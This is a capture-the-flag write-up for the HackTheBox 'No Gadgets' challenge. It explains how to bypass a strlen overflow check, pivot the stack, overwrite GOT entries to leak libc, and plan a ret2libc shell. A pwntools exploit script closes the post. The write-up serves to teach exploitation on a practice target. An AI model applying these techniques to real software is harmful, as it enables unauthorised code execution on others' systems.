HackTheBox No Gadgets Writeup | Binary Exploitation CTF
Introduction
In HackTheBox No Gadgets ,we have a classic buffer overflow but with a unique twist: commonly used gadgets like ret
are absent. Instead, the user must leverage alternative gadgets, such as controlling strlen@GOT
to rbp
and using pop rdi ; main
to achieve arbitrary writes into the writable section of the binary.
Using this capability, the user will overwrite the fgets
gadget located in puts@GOT
. This allows them to leak the Global Offset Table (GOT), providing a libc leak. With the libc leak, the user can construct a traditional ret2libc
ROP chain, ultimately achieving remote code execution (RCE).
HackTheBox No Gadgets Description
In a world of mass shortages, even gadgets have gone missing. The remaining ones are protected by the gloating MEGAMIND, a once-sentient AI trapped in what remains of the NSA’s nuclear bunker. Retrieving these gadgets is a top priority, but by no means easy. Much rests on what you can get done here, hacker. One could say too much.
Source Code Analysis
We are given the source code below:
The application is straightforward: it prompts the user for input but reads an excessive amount of data onto the stack, resulting in a classic buffer overflow. It includes a mechanism to check the string length to detect potential overflows. If an overflow is identified, the program exits to prevent main
from returning. Otherwise, it completes execution and returns normally.
void setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
int main() {
char buf[0x80];
setup(); puts(BANNER);
puts("Welcome to No Gadgets, the ropping experience with absolutely no gadgets!");
printf("Data: ");
fgets(buf, 0x1337, stdin);
if (strlen(buf) > sizeof(buf)) {
puts("Woah buddy, you've entered so much data that you've reached the point of no return!");
exit(EXIT_FAILURE);
}
else {
puts("Pathetic, 'tis but a scratch!");
}
return 0;
}
If you run checksec, you will get the below output:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
In this scenario, we are working with fairly standard protections, but with two notable exceptions: the absence of a stack canary and Position-Independent Executable (PIE). The lack of PIE simplifies the overflow by making memory addresses predictable. Without the need for shellcode, this setup allows us to focus on leveraging the buffer overflow effectively using techniques like Return-Oriented Programming (ROP) or ret2libc.
Bypass strlen check
The first obstacle is the buffer overflow check, but luckily, it’s a weak implementation. The check relies on the string length, which is calculated as the number of bytes before a null terminator. However, fgets
doesn’t prevent us from writing null bytes into the input. By placing a null byte at the beginning of the buffer, we can manipulate strlen
to return a value less than 0x80
, effectively bypassing the overflow check.
Gadgets Enumeration
Since the program is compiled for glibc versions 2.34 and above, some commonly used functions and gadgets are no longer available. For example, __libc_csu_init
pop gadgets like pop rdi ; ret
are missing, which prevents us from using the classic ret2plt
attack to call puts
on an address containing a libc symbol to obtain a leak.
Instead, we must use a different approach to leak libc, requiring alternative ROP gadgets. Among the gadgets identified by tools like ROPgadget, most are not very useful, except for leave ; ret
. This gadget is often found at the end of functions (such as main
in this case) and facilitates switching between stack frames. The leave
instruction restores the old rbp
(saved base pointer) from the stack, effectively adjusting the stack pointer (rsp
) to the previous base pointer (rbp
) and then performing a ret
.
This behavior makes leave ; ret
an invaluable tool for stack pivoting, allowing us to transition execution to a controlled stack frame, which is critical for crafting a successful ROP chain in this scenario.
mov rsp, rbp
pop rbp
In this context, rbp
points to the saved base pointer. When the leave
instruction executes, it sets rsp
to the value stored in rbp
, effectively moving the stack pointer to the location of the saved base pointer.
The next instruction, ret
, pops the value at the top of the stack (now pointed to by rsp
) into rbp
, restoring the base pointer of the previous stack frame. Following this, the ret
instruction pops the next value (the return address) off the stack and jumps to that address, continuing execution from the previous context.
This sequence allows for stack pivoting in exploitation scenarios, where control over the saved base pointer and stack contents enables an attacker to redirect execution to crafted payloads or ROP chains. It’s particularly useful in scenarios where stack adjustments are necessary to transition between different controlled stack frames.
The rbp Register
The rbp
register is indeed used to track the base of the current stack frame, making it easier to reference local variables and function arguments. When examining disassembled code, you can observe this in how rbp
is set up and used within a function.
Here’s how it works in typical function prologues and epilogues:
Prologue:
push rbp
: The current base pointer is saved onto the stack.mov rbp, rsp
: The stack pointer (rsp
) is copied intorbp
, establishing the base of the new stack frame.
At this point, rbp
acts as a stable reference for accessing local variables (via negative offsets, e.g., rbp - 0x10
) and function arguments (via positive offsets, e.g., rbp + 0x8
).
Variable Access:
- Variables and arguments are referenced relative to
rbp
. This is clear in assembly instructions likemov eax, [rbp-0x10]
, where a value is retrieved from a specific offset relative to the base pointer.
Epilogue:
mov rsp, rbp
: The stack pointer is restored to the base of the current frame, effectively discarding any local variables.pop rbp
: The saved base pointer is popped back intorbp
, restoring the stack frame of the caller.
This standard usage of rbp
provides structure to stack frames, making it easier for compilers and debuggers to manage and analyze function calls and variable storage. In exploitation scenarios, manipulating rbp
allows attackers to influence stack layout and control the flow of execution.
Creating The Exploit
In this scenario, the address of the buffer is relative to rbp
, as would be other variables if they existed. During the buffer overflow, not only is the return address overwritten, but also the saved base pointer, which is subsequently loaded into rbp
during the execution of the leave
instruction. This gives us control over rbp
. Additionally, we have a gadget that writes arbitrary data to the buffer at [rbp-0x80]
, allowing us to achieve arbitrary writes when combined with our ability to control rbp
.
What to Overwrite?
Given that we don’t have a memory leak initially, we are restricted to modifying the binary’s writable memory. Fortunately, the binary uses Partial RELRO, meaning the GOT (Global Offset Table) is writable. This makes the GOT an excellent target for exploitation.
Targeting strlen@GOT
The strlen@GOT
entry is particularly attractive for a few reasons:
- It’s a writable entry in the GOT, thanks to Partial RELRO.
strlen
takes a single argument—our controlled buffer—making it straightforward to exploit.
There are two viable approaches for overwriting strlen@GOT
:
Redirect strlen@GOT
to puts@PLT
:
- Overwrite
strlen@GOT
to point toputs@PLT
. - Point the buffer (via
rbp
) to the address of a GOT entry (e.g.,strlen@GOT
). - This setup would call
puts(strlen@GOT)
, leaking its address.
Redirect strlen@GOT
to printf@PLT
:
- Overwrite
strlen@GOT
to point toprintf@PLT
. - Point the GOT entry of
strlen@GOT
to a controlled format string stored in the buffer. - This setup allows us to construct a format string exploit to leak memory.
Gaining a libc Leak
Once we’ve leaked an address from libc, resolving its base address is straightforward. With a known libc version, the offsets of standard functions like system
, /bin/sh
, or ROP gadgets (like pop rdi; ret
) become accessible.
Performing the ret2libc
With the libc leak in hand:
- Use the
pop rdi; ret
gadget (available in libc) to set up the first argument forsystem
. - Pass the address of
/bin/sh
in libc as the argument. - Chain the call to
system
to execute a shell.
This approach allows for a clean and effective exploitation path using the writable GOT, a libc leak, and a standard ret2libc
payload.
Arbitrary Writes
To achieve an arbitrary write onto strlen@GOT
, the key is leveraging the fgets
gadget, which writes data to [rbp-0x80]
.
Step 1: Set rbp
and rip
in the Initial Overflow
In the initial overflow:
Overwrite rbp
:
- Set
rbp
to point to a location such that[rbp-0x80]
aligns with the target address (strlen@GOT
). - Specifically,
rbp = &strlen@GOT + 0x80
.
Overwrite rip
:
- Redirect
rip
to the address of thefgets
gadget.
This setup ensures that when fgets
executes, it writes input to [rbp-0x80]
, which effectively writes to strlen@GOT
.
Step 2: Control Input to Overwrite strlen@GOT
When the program executes the fgets
gadget:
- The user-provided input is written directly to
[rbp-0x80]
, which corresponds tostrlen@GOT
based on the setup above. - This allows you to overwrite the
strlen@GOT
entry with the address of a desired function, such asputs@PLT
orprintf@PLT
.
Step 3: Prepare for the Next leave ; ret
After the fgets
gadget, the program will continue through the function and eventually encounter another leave ; ret
. To exploit this:
- The stack pointer (
rsp
) is updated to the value stored inrbp
(set during the initial overflow). - The new
rbp
andrip
values are popped from the stack.
At this stage:
- Use the 0x80-byte offset from your controlled input buffer to overwrite the next
rbp
andrip
. - Set
rbp
to control the next stack frame andrip
to point to a new gadget or desired code execution flow.
Step 4: Leaking libc
With strlen@GOT
now overwritten (e.g., redirected to puts@PLT
):
- Provide input that points to
strlen@GOT
. - The program calls
puts(strlen@GOT)
or equivalent, leaking the libc address ofstrlen
.
Resolve the libc base address using the known offset of strlen
within the loaded libc version.
Step 5: Prepare a ret2libc
Payload
After obtaining the libc leak:
- Use the next
leave ; ret
to transition to a new stack frame containing theret2libc
payload. - Craft the payload to:
- Use
pop rdi; ret
(available in libc) to set up the/bin/sh
string argument. - Call
system
to execute a shell.
HOWEVER
When using the fgets
gadget to overwrite strlen@GOT
at [rbp-0x80]
, the leave ; ret
sequence expects valid values for both:
- A saved
rbp
: This value will be popped into therbp
register. - A return address (
rip
): This value will dictate where the program jumps after executingleave
.
If these values are invalid or unaligned, the program will crash when the next leave ; ret
executes. To avoid this, we must provide:
- A fake saved
rbp
to set up the next stack frame. - A valid
rip
pointing to our next gadget or payload.
THEREFORE
Before writing to strlen@GOT
, perform an initial write to 0x404080
(or any other writable location) to set up a fake stack frame.
Write to 0x404080
:
- Use the
fgets
gadget to write controlled values to0x404080
, which will act as our fake stack frame.
Include:
- A fake
rbp
pointing to another controlled memory location. - A fake
rip
pointing to the address of the next gadget or function (e.g.,main
or anotherleave ; ret
).
Set rbp
for the Second Write:
- During the second use of the
fgets
gadget, setrbp
to0x404080 + 0x80
. - This aligns the fake stack frame you created with the expectations of the
leave ; ret
gadget.
Proceed with the Exploit:
- After the second write, the program will hit
leave ; ret
again. - This time, it will use the fake stack frame at
0x404080
, smoothly transitioning execution to the next stage of the exploit.
Complete Exploit Code
The script provided below effectively leaks the libc base address. Here’s how it works: we overwrite puts@PLT
(which isn’t called directly). Instead, the setup redirects strlen@GOT
to printf@PLT
, chosen because it uses a significant amount of stack space. Once the GOT is overwritten, strlen
points buf
to puts@GOT
, which now contains puts@PLT + 6
.
When strlen
is invoked, it triggers puts
, resolving puts@GOT
just in time for the leak. This allows buf
to now point to puts@LIBC
. Additionally, there’s no need to worry about the return value exceeding 0x80
, as puts
outputs the number of bytes printed—7 in this case (6 bytes for the leaked address and 1 byte for the newline).
#!/usr/bin/python3
from pwn import *
# Load the vulnerable binary and associated libc
binary = ELF("./vuln")
libc = ELF("./libc.so.6")# Start the process
process_instance = binary.process()# Define gadgets and addresses
leave_ret_gadget = binary.sym.main + 157
fgets_gadget = binary.sym.main + 68
high_address = 0x404800# First payload: Trigger overflow and move RSP to a higher memory address
initial_payload = b"\x00".ljust(0x80, b"A") # Fill buffer
initial_payload += p64(high_address + 0x80) # Set RBP to controlled memory
initial_payload += p64(fgets_gadget) # Return to fgets gadget# Send the payload
process_instance.sendlineafter(b"Data: ", initial_payload)
process_instance.recvline()# Second payload: Prepare RBP and RIP, ensuring RSP is moved to prevent overflow
overflow_payload = b"\x00".ljust(0x80, b"A") # Fill buffer
overflow_payload += p64(0x404080 + 0x80) # New RBP address
overflow_payload += p64(fgets_gadget) # Return to fgets gadget
overflow_payload += p64(0x404000 + 0x80) # High memory address for RBP
overflow_payload += p64(fgets_gadget) # Return to fgets gadget again# Send the second payload
process_instance.sendline(overflow_payload)
process_instance.recvline()# Attach GDB for debugging
gdb.attach(process_instance)# Third payload: Fake RBP and RIP setup
fake_rbp_rip = p64(0xdead) + p64(0xbeef) # Placeholder RBP and RIP
fake_rbp_rip = fake_rbp_rip.ljust(0x80, b"A") # Fill buffer
fake_rbp_rip += p64(high_address + 0x90) # Set controlled RBP
fake_rbp_rip += p64(leave_ret_gadget) # Return to leave_ret gadget# Send the fake RBP/RIP payload
process_instance.sendline(fake_rbp_rip)
process_instance.recvline()# Final payload: Overwrite function pointers for hijacking
overwrite_payload = p64(binary.plt.puts + 6) # Partial overwrite GOT
overwrite_payload += p64(binary.plt.puts) # Call puts
overwrite_payload += p64(binary.plt.printf + 6) # Call printf
overwrite_payload += p64(binary.plt.fgets + 6) # Call fgets# Send the overwrite payload
process_instance.sendline(overwrite_payload)# Leak libc address using puts
libc_leak = u64(process_instance.recv(6) + b"\x00\x00") # Receive leak
log.info(f"puts: {hex(libc_leak)}") # Log puts address# Calculate libc base address
libc.address = libc_leak - libc.sym.puts
log.info(f"libc: {hex(libc.address)}") # Log libc base address# Switch to interactive mode
process_instance.interactive()
You can also watch: